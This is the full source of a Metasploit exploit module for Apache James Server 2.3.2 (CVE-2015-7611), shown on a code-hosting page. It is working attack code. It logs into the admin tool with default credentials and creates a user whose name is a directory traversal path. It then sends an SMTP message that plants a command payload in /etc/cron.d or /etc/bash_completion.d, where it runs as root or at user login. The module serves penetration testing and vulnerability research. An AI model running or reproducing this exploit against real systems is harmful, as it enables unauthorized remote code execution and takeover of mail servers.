CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/smtp/apache_james_exec.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
7
class MetasploitModule < Msf::Exploit::Remote
8
Rank = NormalRanking
9
10
include Msf::Exploit::Remote::Tcp
11
include Msf::Exploit::CmdStager
12
13
def initialize(info={})
14
super(update_info(info,
15
'Name' => "Apache James Server 2.3.2 Insecure User Creation Arbitrary File Write",
16
'Description' => %q{
17
This module exploits a vulnerability that exists due to a lack of input
18
validation when creating a user. Messages for a given user are stored
19
in a directory partially defined by the username. By creating a user
20
with a directory traversal payload as the username, commands can be
21
written to a given directory. To use this module with the cron
22
exploitation method, run the exploit using the given payload, host, and
23
port. After running the exploit, the payload will be executed within 60
24
seconds. Due to differences in how cron may run in certain Linux
25
operating systems such as Ubuntu, it may be preferable to set the
26
target to Bash Completion as the cron method may not work. If the target
27
is set to Bash completion, start a listener using the given payload,
28
host, and port before running the exploit. After running the exploit,
29
the payload will be executed when a user logs into the system. For this
30
exploitation method, bash completion must be enabled to gain code
31
execution. This exploitation method will leave an Apache James mail
32
object artifact in the /etc/bash_completion.d directory and the
33
malicious user account.
34
},
35
'License' => MSF_LICENSE,
36
'Author' => [
37
'Palaczynski Jakub', # Discovery
38
'Matthew Aberegg', # Metasploit
39
'Michael Burkey' # Metasploit
40
],
41
'References' =>
42
[
43
[ 'CVE', '2015-7611' ],
44
[ 'EDB', '35513' ],
45
[ 'URL', 'https://www.exploit-db.com/docs/english/40123-exploiting-apache-james-server-2.3.2.pdf' ]
46
],
47
'Platform' => 'linux',
48
'Arch' => [ ARCH_X86, ARCH_X64 ],
49
'Targets' =>
50
[
51
[ 'Bash Completion', {
52
'ExploitPath' => 'bash_completion.d',
53
'ExploitPrepend' => '',
54
'DefaultOptions' => { 'DisablePayloadHandler' => true, 'WfsDelay' => 0 }
55
} ],
56
[ 'Cron', {
57
'ExploitPath' => 'cron.d',
58
'ExploitPrepend' => '* * * * * root ',
59
'DefaultOptions' => { 'DisablePayloadHandler' => false, 'WfsDelay' => 90 }
60
} ]
61
],
62
'Privileged' => true,
63
'DisclosureDate' => '2015-10-01',
64
'DefaultTarget' => 1,
65
'CmdStagerFlavor'=> [ 'bourne', 'echo', 'printf', 'wget', 'curl' ]
66
))
67
register_options(
68
[
69
OptString.new('USERNAME', [ true, 'Root username for James remote administration tool', 'root' ]),
70
OptString.new('PASSWORD', [ true, 'Root password for James remote administration tool', 'root' ]),
71
OptString.new('ADMINPORT', [ true, 'Port for James remote administration tool', '4555' ]),
72
OptString.new('POP3PORT', [false, 'Port for POP3 Apache James Service', '110' ]),
73
Opt::RPORT(25)
74
])
75
end
76
77
def check
78
# SMTP service check
79
connect
80
smtp_banner = sock.get_once
81
disconnect
82
unless smtp_banner.to_s.include? "JAMES SMTP Server"
83
return CheckCode::Safe("Target port #{rport} is not a JAMES SMTP server")
84
end
85
86
# James Remote Administration Tool service check
87
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
88
admin_banner = sock.get_once
89
disconnect
90
unless admin_banner.to_s.include? "JAMES Remote Administration Tool"
91
return CheckCode::Safe("Target is not JAMES Remote Administration Tool")
92
end
93
94
# Get version number
95
version = admin_banner.scan(/JAMES Remote Administration Tool ([\d\.]+)/).flatten.first
96
# Null check
97
unless version
98
return CheckCode::Detected("Could not determine JAMES Remote Administration Tool version")
99
end
100
# Create version objects
101
target_version = Rex::Version.new(version)
102
vulnerable_version = Rex::Version.new("2.3.2")
103
104
# Check version number
105
if target_version > vulnerable_version
106
return CheckCode::Safe
107
elsif target_version == vulnerable_version
108
return CheckCode::Appears
109
elsif target_version < vulnerable_version
110
return CheckCode::Detected("Version #{version} of JAMES Remote Administration Tool may be vulnerable")
111
end
112
end
113
114
def execute_james_admin_tool_command(cmd)
115
username = datastore['USERNAME']
116
password = datastore['PASSWORD']
117
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['ADMINPORT']})
118
sock.get_once
119
sock.puts(username + "\n")
120
sock.get_once
121
sock.puts(password + "\n")
122
sock.get_once
123
sock.puts(cmd)
124
sock.get_once
125
sock.puts("quit\n")
126
disconnect
127
end
128
129
def cleanup
130
return unless target['ExploitPath'] == "cron.d"
131
# Delete mail objects containing payload from cron.d
132
username = "../../../../../../../../etc/cron.d"
133
password = @account_password
134
begin
135
connect(true, {'RHOST' => datastore['RHOST'], 'RPORT' => datastore['POP3PORT']})
136
sock.get_once
137
sock.puts("USER #{username}\r\n")
138
sock.get_once
139
sock.puts("PASS #{password}\r\n")
140
sock.get_once
141
sock.puts("dele 1\r\n")
142
sock.get_once
143
sock.puts("quit\r\n")
144
disconnect
145
rescue
146
print_bad("Failed to remove payload message for user '../../../../../../../../etc/cron.d' with password '#{@account_password}'")
147
end
148
149
# Delete malicious user
150
delete_user_command = "deluser ../../../../../../../../etc/cron.d\n"
151
execute_james_admin_tool_command(delete_user_command)
152
end
153
154
def execute_command(cmd, opts = {})
155
# Create malicious user with randomized password (message objects for this user will now be stored in /etc/bash_completion.d or /etc/cron.d)
156
exploit_path = target['ExploitPath']
157
@account_password = Rex::Text.rand_text_alpha(8..12)
158
add_user_command = "adduser ../../../../../../../../etc/#{exploit_path} #{@account_password}\n"
159
execute_james_admin_tool_command(add_user_command)
160
161
# Send payload via SMTP
162
payload_prepend = target['ExploitPrepend']
163
connect
164
sock.puts("ehlo [email protected]\r\n")
165
sock.get_once
166
sock.puts("mail from: <'@apache.com>\r\n")
167
sock.get_once
168
sock.puts("rcpt to: <../../../../../../../../etc/#{exploit_path}>\r\n")
169
sock.get_once
170
sock.puts("data\r\n")
171
sock.get_once
172
sock.puts("From: [email protected]\r\n")
173
sock.puts("\r\n")
174
sock.puts("'\n")
175
sock.puts("#{payload_prepend}#{cmd}\n")
176
sock.puts("\r\n.\r\n")
177
sock.get_once
178
sock.puts("quit\r\n")
179
sock.get_once
180
disconnect
181
end
182
183
def execute_cmdstager_end(opts)
184
if target['ExploitPath'] == "cron.d"
185
print_status("Waiting for cron to execute payload...")
186
else
187
print_status("Payload will be triggered when someone logs onto the target")
188
print_warning("You need to start your handler: 'handler -H #{datastore['LHOST']} -P #{datastore['LPORT']} -p #{datastore['PAYLOAD']}'")
189
print_warning("After payload is triggered, delete the message and account of user '../../../../../../../../etc/bash_completion.d' with password '#{@account_password}' to fully clean up exploit artifacts.")
190
end
191
end
192
193
def exploit
194
execute_cmdstager(background: true)
195
end
196
197
end
198
199